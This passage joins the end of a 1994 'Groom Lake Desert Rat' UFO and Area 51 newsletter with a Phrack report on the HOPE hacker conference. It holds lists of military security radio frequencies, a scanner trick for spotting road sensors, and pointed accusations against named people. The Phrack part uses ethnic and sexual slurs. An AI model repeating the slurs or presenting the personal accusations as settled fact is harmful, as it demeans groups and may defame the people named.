obvious frauds. What is true is that he "Does Not Believe In Sean
Morton." In his few seconds of air time, he raised doubts about
one of Morton's many fake credentials, his claimed "Doctor of
Divinity" degree.
RUSS ESTES: "Montel, my biggest problem, and this is what I've
run into over and over again, is the quality of the individual who
is bringing me the message. You know, the-boy-that-cried-wolf
syndrome is phenomenal in this field. You get people out there
who are saying, I'm this, I'm that, and I hate to do this to you,
Sean, but here's a guy right here who claims to be the Doctor,
Reverend Sean David Morton. In his own biography, he claims to
have gotten his Doctor of Divinity at--excuse me, it will take me
one second...."
SEAN MORTON: "Berachah University."
RUSS ESTES: "Berachah University, Houston, Texas--the Berachah
Church. I called them. They don't have any type of degrees that
they give. They have Bible study at the best. He claims to have
attended University of Southern California...."
MONTEL WILLIAMS: "So the point that you are making, Russ, is that
there's a problem with the messenger, so therefore the message is
not real."
RUSS ESTES: "How can you believe the message if the people lie to
you from the start."
SEAN MORTON: "The thing I'd like to point out about Mr. Estes
here is that if you don't like the message, you can shoot the
messenger, and it's obvious to me that in the UFO field, we do
this for free, we do this because we want to know the truth,
because we have seen something...."
RUSS ESTES: "But does that mean you bogey up your credentials?"
SEAN MORTON (angry): "That is not true. You are flat-out lying
to these people. I went to USC for four years."
Just then, the debate was cut off by a sloppy edit, and Sean's USC
diploma appeared on the screen.
After watching the tape, we contacted Russ Estes. He said that
the debate between he and Sean went on much longer than was shown
on the screen. "Live on tape" does not mean totally unedited.
This show went on for over two hours to obtain a one hour's worth
of material. Sometimes, whole shows are thrown out when they
don't work. Unfortunately, Estes made a misstep on the USC
degree. As it turns out, this is just about the only authentic
credential he has: a B.A. in Drama and Political Science. We
certainly believe the Drama part: It's the last degree he ever
needed.
The Doctor of Divinity degree is still phony, but in the talk show
world, evidence counts for nothing; only emotions and presentation
matter. Sean walked away from the show as a brave and
knowledgeable crusader, legitimized by a promise from Montel to
take his tour, and with the implied invitation to reappear on the
show. Estes walked away alone, wasn't invited to return, and has
since had to live down the "Does Not Believe in UFOs" moniker.
Sean even had the delightful gall to send Estes a letter, through
the producers...
---
Mr. Russ Estes
c/o Alex Williams [sic]
The Montel Williams Show
1500 Broadway Suite 700
New York, New York, 10036
Dear Russ:
I am going to assume that you are not a bold faced liar who is out
for some kind of warped revenge, or a person who is just trying to
make a buck off baseless slander.
Let's try to solve this like gentlemen - enclosed is a copy of my
U.S.C. diploma. I have also called the school and my records are
intact. The rest of your "research" on me is equally faulty.
I hope this solves out problem. If not, I have consulted my
attorney and any further slander directed toward me through your
video series or elsewhere, will result in action taken against
you.
Yours Truly,
[BIG signature]
Sean Morton
---
Things were beginning to look grim for Psychospy. With the time
of the taping drawing near, we hadn't even begun to scratch the
surface of Sean David Morton and his path of destruction. Talking
to our contacts, we saw that Sean had accumulated a vast audience
of intimate enemies, more than we could possibly contact. If Sean
sounds knowledgeable and occasionally has some meaningful
information, it is because he has ripped it off from others. We
were amused to find that there was even an reputable astrologer
who hated Sean, who felt that Sean had stolen his predictions and
passed them off as his own.
It seemed a futile exercise anyway. We knew all the evidence in
the world wasn't going to matter when we actually faced off
against Sean on camera. We were leaving behind our own
comfortable medium of logic and data and stepping into his home
turf--the talk show--where presentation counts more than content.
We were obligated by our own ethics to speak only the simplest
truths and the cautious assertions supported by data. Sean David
Morton, bold faced liar that he is, faced no such constraints. He
could spout any lie he wanted to sound important and get himself
off the hook, and the only thing that mattered here was that he
said it with apparent sincerity and that it held up for
television's thirty second attention span. We knew that if we
started to make an accusation about him, he would instantly sense
the winds and make the same one against us with greater force.
The ensuing argument would make he and us appear to be equals.
Sean knew all the buzzwords and cliches of the UFO movement and
could spout the conventional wisdom much faster than we could. He
knew how to sound sincere and reasonable and adapt instantly to
the sentiments of any social circumstance. He was well-practiced
at responding to inquisitions and had emerged from many without a
scratch. Opposing him, all we had was a body of mundane knowledge
about a very limited area of the desert. Sean was smooth and
well-honed in his talk show delivery, and we were stumbling in for
the first time to a medium where we really didn't want to be.
It was with these reservations and a sense of dark foreboding that
we packed our bags and headed for New York City. There, in Times
Square, we expected a titanic battle between Good and Evil, and
things didn't look good for Good.
[To be continued in Desert Rat #16....]
----- NEW AIR FORCE STATEMENT ON GROOM -----
The following statement was recently released to inquiring
journalists by the Nellis AFB public affairs office. (We
requested our own copy from Major George Sillia on Aug. 26.) It
represents a significant shift from the previous "We know nothing
about Groom Lake" response.
"There are a variety of facilities throughout the Nellis Range
Complex. We do have facilities within the complex near the dry
lake bed of Groom Lake. The facilities of the Nellis Range
Complex are used for testing and training technologies,
operations, and systems critical to the effectiveness of U.S.
military forces. Specific activities conducted at Nellis cannot
be discussed any further than that."
That's a step in the right direction. What the base needs now is
a name and a history. For example, tell us about the U-2 and A-12
programs at Groom in the 1950s and 1960s. That's not very secret
or critical to our current defense, so what's the point in
pretending it is? Will the Air Force take control of the
situation and provide this information itself, or will the void be
filled by a dozen aggressive entrepreneurs?
We'd bet our money on the entrepreneurs.
----- EG&G TO ABANDON TEST SITE ----
According to an 8/26 article in the Las Vegas Review-Journal, EG&G
and its REECo subsidiary will not seek renewal of their Nevada
Test Site contract when it expires in 1995. These are two of the
three companies that have managed the nuclear testing ground since
its inception. It is unclear whether this action will have any
affect on operations at the adjoining Groom Lake base, where EG&G
and REECo are also assumed to be major contractors.
Recent rumors say that EG&G no longer operates the "Janet" 737
jets that shuttle workers to Groom and Tonopah. That operation
has supposedly been taken over by the Air Force, using the same
aircraft and possibly the same staff.
----- JANET "N" NUMBERS -----
For aircraft watchers, here are the registration and serial
numbers of Janet 737s and Gulfstream commuter planes spotted at
the Janet terminal at McCarran airport. Based on observations in
5/94 and the 4/30/94 FAA registry. One or more of the Janet
aircraft are probably missing from this list. (We ask our readers
to find them.)
Boeing 737...
Reg. #/Serial #/Owner
N4508W 19605 Great Western Capital Corp, Beverly Hills
N4510W 19607 Great Western Capital Corp, Beverly Hills
N4515W 19612 Great Western Capital Corp, Beverly Hills
N4529W 20785 First Security Bank of Utah, Salt Lake City
N5175U 20689 Dept. of the Air Force, Clearfield UT
N5176Y 20692 Dept. of the Air Force, Clearfield UT
N5177C 20693 Dept. of the Air Force, Clearfield UT
Gulfstream C-12...
N20RA UB-42 Dept. of the Air Force, Clearfield UT
N654BA BL-54 Dept. of the Air Force, Clearfield UT
N661BA BL-61 Dept. of the Air Force, Clearfield UT
N662BA BL-62 Dept. of the Air Force, Clearfield UT
----- JANET HANDOFF FREQUENCIES ----
A DESERT RAT EXCLUSIVE! Published here for the first time are the
air traffic control frequencies for the "Janet" 737 crew flights
from Las Vegas McCarran Airport to Groom. The McCarran freqs are
public, but the Groom ones have not been revealed until now. Air
traffic control broadcasts are "in the clear" and any scanner
radio should be able to pick them up. Each of these freqs has
been personally confirmed by Psychospy or a close associate.
121.9 McCarran Ground Control
119.9 McCarran Tower
133.95 Departure Control
119.35 Nellis Control
120.35 Groom Approach
127.65 Groom Tower
118.45 Groom Ground
Here are some other Groom freqs (some of which were previously
reported in DR #8). The security frequencies are usually
scrambled, but not always.
418.05 Cammo Dudes (primary)
408.4 Cammo Dudes (repeat of 418.05)
142.2 Cammo Dudes
170.5 Cammo Dudes (Channel 3)
138.3 "Adjustment Net" (seems related to security)
261.1 Dreamland Control (published)
255.5 Groom Tower (repeat of 127.65)
154.86 Lincoln County Sheriff
496.25 Road sensors on public land
410.8 Pager (apparently from Groom but unconfirmed)
The most accurate way to detect a road sensor (AFTER you have
tripped it), is to program 496.25 into several channels of your
scanner, then scan those channels exclusively as you are driving.
When the scanner stops on one channel, you have just passed a
sensor.
----- GROOMSTOCK '94 -----
The "Freedom Ridge Free Speech Encampment" went pretty much as
planned, with at least sixty people in attendance but not all of
them staying for the night. There were no surprises and, sadly,
no confrontations with the authorities when we whipped out our
cameras and pseudo-cameras to point at the secret base. The Cammo
Dudes were visible but kept their distance, and the only authority
figure to show up on the ridge was a BLM Ranger in a Smoky-the-
Bear hat. He was concerned only that we clean up our trash, and
he warned us, by his very presence, that "Only You Can Prevent
Forest Fires."
The event was recorded in an 8/29 article in the Las Vegas Review-
Journal, which dubbed it "Groomstock." [The article may be
available at the FTP site.] We were disturbed to read in the
paper that the attendees included some "marijuana-smoking
slackers." We called around and found out it was true and that it
happened after Psychospy went to bed. Had we known, we would have
quashed it immediately. This sort of thing discredits our ability
to police ourselves and hurts the reputation of the land grab
opponents.
The hot gossip around the campfire was about the Review-Journal
reporter and the loony in the tie-dyed shirt. The loony had spent
about an hour moving rocks and dirt around to make himself a
comfortable bed, then he blew a conk-shell horn and banged cymbals
together to bless it. When the reporter arrived, he volunteered
to make a bed for her, too, not far from his own, and he proceeded
with the project without any encouragement. It is unknown why he
singled her out for this special honor, but evidently she was
"chosen." It should be noted, however, that while blessing the
reporter's bed, the loony accidentally dropped one of the cymbals.
We forget to check with the reporter in the morning to see if that
omen affected the quality of her nighttime experience.
----- SOUND FAMILIAR? -----
From an AP news story printed in the 8/5 Review-Journal...
"PORT-AU-PRINCE, Haiti -- Authorities deported an American TV
crew Thursday, putting the three journalists in an open pickup
truck, parading them through the capital and then dumping them at
the Dominican border....
"Soldiers detained the freelance journalists for PBS's 'The
MacNeil/Lehrer Newshour' on Sunday while they were filming at
Port-au-Prince's airport. Three of their videotapes were
seized....
"The military-backed government has urged journalists not to
report 'alarmist' news and has attempted to restrict news
coverage....
"'I think it's deplorable, and it's obviously an attempt to
embarrass them,' [U.S.] Embassy spokesman Stanley Schrager told
The Associated Press. 'This treatment was not necessary; neither
was the deportation.... It's a transparent attempt by this
illegal regime to interfere with the free flow of information.'"
In related news, the four of the five video tapes seized on July
19 from KNBC-TV have still not been returned. The tapes were
taken without a warrant after the crew filmed an interview on
Freedom Ridge but not the Groom base itself. Activist Glenn
Campbell, who accompanied the crew, was arrested when he attempted
to interfere with this seizure.
----- CAMPBELL ARRAIGNED -----
Activist Glenn Campbell reports that his Aug. 24 arraignment on
obstruction charges was "amicable." Charges were presented, but
the District Attorney did not appear. The complete text of the
charges, stemming from the July 19 KNBC incident, reads as
follows...
---
Case No. P55-94
IN THE JUSTICE COURT OF THE PAHRANAGAT VALLEY TOWNSHIP
IN AND FOR THE COUNTY OF LINCOLN, STATE OF NEVADA
CRIMINAL COMPLAINT
STATE OF NEVADA, Plaintiff,
vs.
GLENN P. CAMPBELL, Defendant.
STATE OF NEVADA ) ss.
County of Lincoln )
DOUG LAMOREAUX, being first duly sworn and under penalty of
perjury, personally appeared before me and complained that on or
about the 19th of July, 1994, in Lincoln County, State of Nevada,
the above-named Defendant, GLENN P. CAMPBELL, committed the
following crime:
COUNT 1
OBSTRUCTING PUBLIC OFFICER, a violation of NRS 197.1990 and LCC
1.12.010, a MISDEMEANOR, in the following manner:
The Defendant did, then and there, after due notice, willfully,
hinder, delay or obstruct a public officer in the discharge of his
officer powers or duties. Specifically, the Defendant did, then
and there, after due notice, willfully hinder Sergeant Doug
Lamoreaux in the discharge of his official duties by locking the
doors of the vehicle which Sergeant Lamoreaux was retrieving
certain items from and further refused to unlock the doors after
being requested to do so by Sergeant Lamoreaux.
All of which is contrary to the form of Statute in such cases made
and provided and against the peace and dignity of the State of
Nevada. The complainant, therefore, prays that a Warrant be
issued for the arrest of the Defendant, if not already arrested,
so that he may be dealt with according to law.
[Signed]
DOUG LAMOREAUX
Sergeant
Lincoln County Sheriff's Department
SUBSCRIBED and SWORN to before me
this 24th day of August, 1994
[Signed] NOLA HOLTON
NOTARY PUBLIC/JUSTICE OF THE PEACE
---
The only surprise in these charges is the line "and further
refused to unlock the doors after being requested to do so by
Sergeant Lamoreaux." That is not how Campbell recalls the
incident. DR#12, published less than 12 hours after the incident,
reported it as follows...
"At this point Campbell, who had been standing on the opposite
side of the vehicle, reached in and pushed down the door locks on
the side that Lamoreaux was approaching.
"Lamoreaux said, 'You're under arrest.' Campbell was
immediately handcuffed and placed in Deputy Bryant's vehicle."
Campbell claims that Lamoreaux said, "You're under arrest,"
IMMEDIATELY after he pushed down the door locks, with no request
being made to unlock them. Campbell says he has two other
witnesses, the KNBC crew, who can verify his story. In this case,
where the basic recollection of facts is in conflict, it will be
interesting to see what the second officer, Deputy Kelly Bryant,
will say under oath.
However, the core of Campbell's defense rests on Constitutional
issues. He is guilty of obstruction only if the officer was
indeed engaged in the "lawful" execution of his duties. Lamoreaux
justified his warrantless search by citing, in vague terms, a
certain Supreme Court ruling, the name of which he could not
recall at the time. That ruling is apparently in the case "Ross
vs. U.S." which allows the warrantless seizure of "contraband"
from a vehicle when there is a danger of flight. It is unclear at
this point whether the video tapes of a news crew constitute
contraband in the same manner as a shipment of marijuana or stolen
merchandise. Complex First Amendment issues may be invoked. The
case may be further complicated by the repeated offer by the TV
reporter to allow Lamoreaux to view the video tapes himself.
Campbell has requested, and has been granted, a jury trial.
According to the Justice, this will be the first jury trial held
in this court since about 1987. Campbell announced his intention
to represent himself at the trial, with possible legal co-council.
A tentative trial date of Oct. 25 has been set, but it is likely
to be postponed. Campbell indicated that he will waive his right
to a trial within 60 days to allow more time to conduct legal
research.
----- LARRY KING NOT CLONED? -----
Our report in DR#13 about the diversion of Larry King's plane to
Nellis AFB continues to disturb many of our readers. It raises
the specter of secret contacts between King and the military or
even a surreptitious replacement of the talk show host by a look-
alike clone. Now, we wonder if our panic was only a false alarm.
A producer from a Las Vegas TV station tells us: "I checked into
it and think it is legit. According to the FAA, McCarran Airport
was never really closed, but they did have pilots choose not to
land on that Saturday afternoon because of inclement weather.
They also confirm that there is an agreement with Nellis to allow
planes in trouble to land there. I spoke to the control tower at
McCarran. They checked their records, and they indicate that on
that Saturday a nasty thunderstorm was noted by the tower at 1:45-
2:05. In fact, four takeoffs were delayed during that time due to
weather. Planes in the air just flew holding patterns until the
weather cleared."
Presumably, King's plane didn't have enough fuel to maintain the
holding pattern. Thunderstorms can be very localized, and perhaps
Nellis was clear. A producer at Larry King Live says that, in her
opinion, he is definitely the same Larry King. She says he got
the military escort because he was late for a speaking engagement
and made his wants known on the plane.
So what can we say? Obviously, the FAA, the TV station and the
King producer ARE PARTIES TO THE CONSPIRACY. This story is deeper
than it seems, and the Rat will pursue the investigation for as
long as it takes. THE TRUTH IS OUT THERE.
----- MYSTERIOUS SIGN DISAPPEARANCE -----
The big "No Photography" signs on the Groom Lake Road have
disappeared. For over a year, they were installed on public land
about two miles from the military border, but sometime in the
first week of August they were cleanly removed, posts and all,
apparently by the Air Force. (A civilian thief--like SDM, who has
a number of these signs in his possession--would have simply
unscrewed the signs, not uprooted the heavy posts and carefully
filled up the holes.) The two signs on either side of the road
were each about 3 feet by 4 feet and bore the following text:
WARNING: THERE IS A RESTRICTED MILITARY INSTALLATION TO THE WEST.
IT IS UNLAWFUL TO MAKE ANY PHOTOGRAPH, FILM, MAP, SKETCH, PICTURE,
DRAWING, GRAPHIC REPRESENTATION OF THIS AREA, OR EQUIPMENT AT OR
FLYING OVER THIS INSTALLATION. IT IS UNLAWFUL TO REPRODUCE,
PUBLISH, SELL, OR GIVE AWAY ANY PHOTOGRAPH, FILM, MAP, SKETCH,
PICTURE, DRAWING, GRAPHIC REPRESENTATION OF THIS AREA, OR
EQUIPMENT AT OR FLYING OVER THIS INSTALLATION. VIOLATION OF
EITHER OFFENSE IS PUNISHABLE WITH UP TO A $1000 FINE AND/OR
IMPRISONMENT FOR UP TO ONE YEAR. 18 U.S. CODE SEC. 795/797 AND
EXECUTIVE ORDER 10104. FOR INFORMATION CONTACT:
USAF/DOE LIAISON OFFICE
PO BOX 98518
LAS VEGAS, NV 89193-8518
The signs first appeared in May 1993 shortly after WFAA-TV from
Dallas took video of the base from White Sides. (When challenged
by the Sheriff, they admitted photographing the base but managed
to retain their tape.) The signs were removed in Aug. 1994
shortly after KNBC-TV from Los Angeles lost their video tape after
NOT photographing the base. It is unclear why the AF removed the
signs. Perhaps they have become a little smarter and are adopting
a "don't ask, don't tell" policy toward photography (but we
wouldn't want to be the ones to test that theory). The signs
themselves had become a tourist attraction, and no visitor could
resist having their picture taken beside them.
At the same time the "No Photography" signs vanished, the
misplaced "Restricted Area" sign also went away. This is the
crossed out sign seen in the NYT article, where the "stupid
faggot" comment had later been written and then erased (DR#12,13).
God, we'll miss that sign! It was as illegal as hell--being on
public land--but an old friend to us nonetheless.
At least now we can assure the public: If you see a Restricted
Area sign, it's real and they mean it.
----- INTEL BITTIES -----
ENCOUNTERS TRANSCRIPT. Complete, unedited transcripts (not just
the sound bites) of the interviews in the 7/22 Encounters show
(DR#10) are available to Compuserve users. Type GO ENCOUNTERS,
and look under "Browse Libraries" and "Interview Transcripts."
Interviews include Rep. James Bilbray (file FREED2.105), Agent X
(FREED1.105) and Glenn Campbell (FREED3A.105, FREED3B.105). This
is a transcript for video editing, so every "Um" and "Ah" is
recorded.
NEW GUARD FACILITY. We send our congrats to the Dudes on their
newly constructed prefab building next to the guard house on Groom
Lake Road (about a half mile inside the border). Apparently, they
are expecting more business along this part of the border and need
a new substation. Interested taxpayers can view the new building
from the first hill on the hiking trail to F.R. ("Hawkeye Hill"),
a location that will continue to be public even if F.R. is taken.
UPCOMING TV SEGMENTS. UNSOLVED MYSTERIES will broadcast a show on
UFOs with a segment on Area 51 on Sunday, Sept. 18 at 8pm. The
broadcast will include a new interview with Bob Lazar. THE
CRUSADERS will broadcast a segment on UFOs, including a visit to
F.R., on Sept. 10 or 11 (date and time vary by city). Air date
for THE MONTEL WILLIAMS SHOW taped on Aug. 23 has not been
confirmed, but it could be the week of Sept. 12.
===== SUBSCRIPTION AND COPYRIGHT INFO =====
(c) Glenn Campbell, 1994. (psychospy@aol.com)
This newsletter is copyrighted and may not be reproduced without
permission. PERMISSION IS HEREBY GRANTED FOR THE FOLLOWING: For
one year following the date of publication, you may photocopy this
text or send or post this document electronically to anyone who
you think might be interested, provided you do it without charge.
You may only copy or send this document in unaltered form and in
its entirety, not as partial excerpts (except brief quotes for
review purposes). After one year, no further reproduction of this
document is allowed without permission.
Email subscriptions to this newsletter are available free of
charge. To subscribe (or unsubscribe), send a message to
psychospy@aol.com. Subscriptions are also available by regular
mail for $15 per 10 issues, postpaid to anywhere in the world.
A catalog that includes the "Area 51 Viewer's Guide", the Groom
Lake patch and hat and many related publications is available upon
request by email or regular mail.
Back issues are available on various bulletin boards and by
internet FTP to ftp.shell.portal.com, directory
/pub/trader/secrecy/psychospy. Also available by WWW to
http://alfred1.u.washington.edu:8080/~roland/rat/desert_rat_index.
html
Current circulation: 1440 copies sent directly to subscribers
(plus an unknown number of postings and redistributions).
The mail address for Psychospy, Glenn Campbell, Secrecy Oversight
Council, Area 51 Research Center, Groom Lake Desert Rat and
countless other ephemeral entities is:
HCR Box 38
Rachel, NV 89001 USA
###
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 22 of 28
****************************************************************************
HOPE
by
Erik Bloodaxe
I was a little apprehensive about going to HOPE. I'd been warned for months
that "If you go to HOPE, you are going home in a body bag," and "I am
going to kick your fucking ass at hope," and "If you go, you're gonna get
shot."
Needless to say I found this a bit unnerving. As big an ego as I may have,
it still does not repel hot lead projectiles. Add this to the fact that my
best friend of 10 years was murdered by some random idiot with a pistol in
fucking pissant, Bible-thumping Waco, TX a few months back. Waco. And the
shooter wasn't even a Davidian, just a drugged-out 16 year-old. If the
kids pack heat in Waco, I know they must come standard issue in New York.
But, hell, I've haven't missed a con in ages. Could I actually miss
a SummerCon? Especially the SummerCon commemorating the 10th
anniversary of 2600 Magazine? Could I?
Like an idiot, I make my reservations. Ice-9, who was stuck with a
leftover ticket on United, traded it in and we were both off to New York.
We arrived late Friday night. So there we were: The Big Apple, Metropolis,
The City that Never Sleeps. Unfortunately, it never showers or changes
its clothes either. Why anyone in their right mind would want to come
to New York City boggles the mind. It sucks. I mean, I've been damn
near everywhere in the United States, I've been to major cities in Mexico,
Canada and Europe, and New York is by far and away the worst fucking
shithole I've seen yet. I don't know for certain, but Port au Prince
probably has more redeeming qualities.
I figured out within a few minutes why New Yorkers are such assholes too.
First, no one seems to be from New York exactly, merely transplants from
somewhere else. So what has happened is that they bought into New York's
superb public relations campaign and sold off all their belongings to get
their ticket to America and the land of opportunities. So, they find
themselves in NYC with about half a billion other broke, disillusioned
immigrants wading in their own filth, growing very pissed off at being sold
such a bill of goods.
It would piss me off too. And I'm sure our cab driver that night missed his
family's ancestral thatched hut back in good old Bangladesh. But luckily for
him crack provides a good short-term solution. Not to mention excellent
motor skills.
Twenty-five near misses, and a lengthy carhorn symphony later, we managed to
arrive at the Hotel Pennsylvania intact. The hotel, heralded in legend and
lore had seen better decades. About the only thing it had going for it was
one of the oldest phone numbers in the city. PEnnsylvania 6-5000.
(Ta-da-dum-dum) I think if Glen Miller were alive today, his band members
would kick his ass if he told them they had to sleep there.
For a hundred dollars a night, Ice-9 and I were treated to two less than
jail-house sized beds, a tv that almost worked, and a hardwired telephone
(ie: no modular jacks in sight.) In addition, the entire room was stained
from floor to ceiling, and most of the wall paper by the window had peeled
halfway down. The window itself opened to a miraculous view of the trash
12 floors down. We debated on throwing every single object in the room
out the window for a little excitement, but decided it might injure some of
the homeless below.
Anxious to get the hell out of our little cell (well, the prisons I've had
the misfortune to sleep in were in better repair) Ice-9 and I took off to
the top floor and the HOPE conference area.
I don't know why Emmanuel decided to call this conference "Hackers On Planet
Earth." This conference had more right to the title "Hacking at the End
of the Universe." Perhaps even "Hacking in the Cesspool of the Earth."
HEU was in the middle of nowhere, but it was pretty and happy. It should have
been called HOPE.
In fact, as the days went on, I noticed a number of similarities between
HOPE and HEU:
1. Both heavily orchestrated by 2600 and Hack-Tic
2. Both had in-house networks
3. Both had token "fed" speakers
4. Both had seminars on boxing, pagers, social engineering, history,
UNIX, cellular, magnetic cards, lock picking, legal issues, etc.
5. Both drew extensive press attendees
6. Both charged more than any other conferences. (HOPE 25, HEU 50)
7. Both had over a thousand attendees
8. Both used computer equipment to make photo badges
9. Both tried far too hard to be technical
10. New York used to be New Amsterdam
But I digress...
Anyway, the network room was beginning to shape up quite nicely. Young
hacklets were already clicking away at their keyboards, oblivious to
anything else save their screens. Why anyone would travel all the way to
New York to sit in front of a screen and type all by their lonesome
left me stymied. Isn't that what we all do back at home?
The first people we ran into were Winn Schwartau and Bootleg. I could
be wrong, but I think a large factor in Winn's showing up at HOPE was
to watch me get shot and write about it. He told me his article would
be titled, "Cyber-Christ gets nailed to the Cross." Bootleg, however, was
here to raise a little hell. And goddamnit, so were we!
Hacker conferences have always been an excuse for people who only knew
each other over the phone and over the networks to actually meet face to
face and hang out. Anyone who tells you "Conferences today suck, there isn't
enough technical inpho," is a clueless fuck. You do not go to a conference
expecting to learn anything. If you don't already know, chances are pretty
damn good that the people who do won't tell you. You learn by doing, not by
sitting in an audience at some hacker con. Get a beer, make some new friends,
and THEN maybe you might pick up something in casual conversation, but at
least you will have a good time getting sloshed with new people who share
common interests. The only people who will learn something from
hacker conferences are journalists who will then go on to write even
more scathing sensationalist pieces about how hackers will destroy
your credit and eavesdrop on your phone. Is that what we really
want?
Me, Ice-9, Bootleg, Bootleg's friend from Oregon, and Thomas Icom took off
to drink and see what debauchery lay waiting for us in Times Square.
(Yes, it was a very, very, very mismatched looking group.) Icom, armed
with ever-present handheld scanner, kept a continual broadcast of NYPD's
latest exploits.
We ended up hanging out on the fringes of Times Square at some sidewalk
deli bullshitting about anything and everything. A recurring topic throughout
the whole weekend was EMP and HERF weaponry. I don't particularly know
if anyone in the underground would more excited by setting off one of these
devices, or merely being able to brag to everyone that they were in possession
of one.
We sat talking about the ramifications of setting off some such device on
the roof of the building we were sitting in front of. The thought of
all the neon and electronics surrounding us simultaneously ceasing to
function and imploding at the logic gate level provided for at least an
hour of hacker masturbation material. Bootleg reminisced about trying to
track down decommissioned military radar equipment back in the early 80's
for just such a project. "I'm surprised it's taken this long for the
underground to get up on this stuff," he said.
As we headed back to the hotel, we passed by the coolest vehicle ever
seen by hacker eyes. The 2600 van was an exact replica of a NYNEX
van, with the subtle addition of the magazines moniker instead of
NYNEX, and a ball-capped hack-type tapping away on a notebook computer,
plugged into the bell logo. It was truly a sight to behold. I began
to drool. All Phrack has is a beat up, red Toyota Corolla.
Up in the network room those that were not deeply engrossed in hacking
the hope.net linux box were either already plowed (Hi Torquie!) or about
to be.
It was late, so we decided to crash.
Ice-9 and I managed to wake up at a reasonable hour, and took off to
see the city. I had seen an electronics store the night before, and
had been looking for a PAL-NTSC-SECAM VCR for ages. I found it.
New York's only saving grace (well, except the huge amount of
businesses there all screaming for security work) was cheap consumer
electronics. For 380 bucks I got a VCR that not only converted on the
fly between any tape format, but also had a digital freeze frame
for those elusive screen captures. I was stoked.
After some food, we headed back up to the conference. The buzz was
someone had several hundred cell phones confiscated by Cellular One
reps after he off-handedly remarked that he would clone them
to a potential buyer. I then ran into two of my friends from WAY back
in the early 80's: Tuc and Agrajag. Ag is an amazing guy. Not only
was he fantastic way back then, he went on to write UNIX for Commodore,
pull stints at places like USL, and is now working with speech
recognition and wireless networking. Yet another fine example of
those ne'er-do-well Legion of Doom guys the government always
frowned upon. Right.
Later that afternoon, as I'm talking to someone in the network room, I feel
someone bump into me. "Oh, sorry," says the person, and I go on with my
conversation. A few seconds later, it happens again. Same guy, same
"Oh, sorry." When it happens a third time I shove the guy back, and
say, "Man, what the hell is your problem." Mistake. I look up straight
into the eyes of a guy about 7 feet tall and 2 feet wide. Well, I'm
exaggerating but it sure seemed that way at the time. All of a sudden
I am an extra in the Puerto Rican version of "Of Mice and Men."
"De Ratones Y Hombres"
The first guy was about 5 feet tall, and scurried around within an arms
reach of the big guy. Immediately I realize that if I do ANYTHING, this
big dude is more than ready to fuck me up, so the little guy must be a
diversion. The big guy grunts and begins to maneuver around me.
The little guy then takes his cue and begins pushing me, all the while
asking "What's your name? What's your handle?" I keep backing up keeping
an eye on the big guy, who is staring daggers at me. Well, at least with
his one good eye. His lazy eye, stared daggers at the wall, the carpet,
and a few other places.
Meanwhile, this little event has gathered the interest of many in the con.
People began to gather around to see Erik Bloodaxe finally get beat down.
Unfortunately for the would-be spectators, several others tried to intervene.
Tuc and a few of the other larger attendees went up to the big guy and
attempted to hold him back. This only succeeded in him letting out a
roar-like sound as he shrugged them off and continued coming towards me.
Finally, I say to the little guy, who has been engaging me in what was
basically the equivalent of the mosh pit at a Barry Manilow concert,
(One fucked up guy running into people who don't want to play his game)
"I'm Chris Goggans, who the hell are you?" To which he yells, "I'M JULIO!"
Julio, aka Outlaw, aka Broken Leg, was one of the MOD members who was
raided by the FBI and Secret Service some years back. While all
his MOD brethren served jail time, Julio worked out a deal with the
prosecutors in which he sold out his friends by agreeing to provide
state's evidence against them should the cases go to court.
And I'm the bad guy?
Fuck, all I ever did was try to keep my business running free of
interruptions from disgruntled, jealous teenagers. I never turned state's
evidence against my best friends to save my own ass. What am I, Agent Steal?
At this point everyone rushed in-between us and whisked Julio and his
lazy-eyed, neandrethal boyfriend out the door. (Notice, I can call him
all kinds of names now, because I'm back home in Austin, several thousand
miles away.) I still have no idea who the big guy was.
From now on, those of you who sincerely want to kick my ass, have the
nerve to do it by yourself. I mean, I only went as far up as green in
Tae Kwan Do, but that was far enough to learn the sacred truth, "Never
take on more than ONE person or you will get the shit kicked out of you."
Leave your boyfriends at home and be a man. If I have the balls to
go thousands of miles away from home an enter the DMZ expecting to get
shot, then you should have the balls enough to do something on your own.
And remember: take the first swing.
Shortly after "the incident" as it came to be called, by everyone who
approached me about it afterward, me, Winn, Dave Banisar, and Robert Steele
took off to find food. Steele decided we needed female accompaniment,
so he invited a reporter from Details. She brought along her camera crew,
who had been taking so many pictures around the con, one would think
they owned Polaroid stock.
Robert Steele is an interesting character. After a 20 year CIA tour he went
on to found Open Source Solutions, a beltway operation that uses public
sources of information to build intelligence dossiers. He described
himself as "a short, fat, balding old-guy." This is like Rush Limbaugh
calling himself "a harmless, loveable little fuzzball." Their self-image
is a bit removed from reality. Steele carries himself with the air of
a spy. It's kind of hard to explain, but it would be easy to see Steele
excusing himself from dinner, killing three guys in the alley, and coming
back for a piece of apple pie without an accelerated heartbeat or breaking
a sweat.
On top of being so immersed in the spy game, and having been in charge of
the design and implementation of the CIA's data center, Steele takes the
severely radical viewpoint that hackers are America's most valuable
resource, and should be put to productive use rather than jailed. This
man needs to come to more cons.
Dinner was odd to say the least. The media people sat together, somewhat
removed from us. They said approximately 5 words to us the whole time,
possibly feeling somewhat bored by our drunken computer revelry.
The reporter seemed visibly disturbed by all of us, and the guys
looked like they would be more comfortable sitting in a coffee shop
listening to Tom Waits while having a hearty debate over "Freud vs. Jung."
Our discussions got louder and louder as the scotch flowed, and
by the end of the evening most of the restaurant had heard such topics
as "The CIA does most of its recruitment in the Mormon church," and
"licking the floor at a Times Square peep show." By the time the check
came the Details people were more than happy to pay more than their share
of the bill to get the hell out of Dodge. A word of advice: always
get separate checks when dining out with any of us.
Back in the hood, everyone was milling about waiting for the
History of 2600 panel to begin. There was some kind of problem with
one of the displays, so people were beginning to grow restless. Right
about then one of the best looking girls at the con wandered by. Taking
a guess, I asked her, "Are you Morgen?" She was. It's almost unbelievable
that someone who would waste time hanging out on IRC and who can actually
interview for highly technical jobs could look like this.
Morgen, Earle, Mr. Fusion, Ixom and Garbage Heap were heading out to
get drunk, all of them rather disgusted by the regular con attendees.
They invited me, so I tracked down Ice-9, who by that time was so ready
for a pint of Guiness you could almost see the Harp Logo showing up
on his skin like drunken stigmata.
We ended up across the street at a little pub called the Blarney Rock.
Pitchers drained like sieves, kamikazes dropped like WWII and tequila shots
went down like Mexican whores. Everyone was in agreement that this
was the best time any of us had experienced at HOPE. In between everyone
drinking, and leering at Morgen, we actually talked about hacking stuff too.
Gee, and we weren't even on a panel!
As the night progressed, almost everyone from the con ended up at the Blarney
Rock. The con took the place over. The Blarney Rock probably made
more money that night than they had any night in recent history.
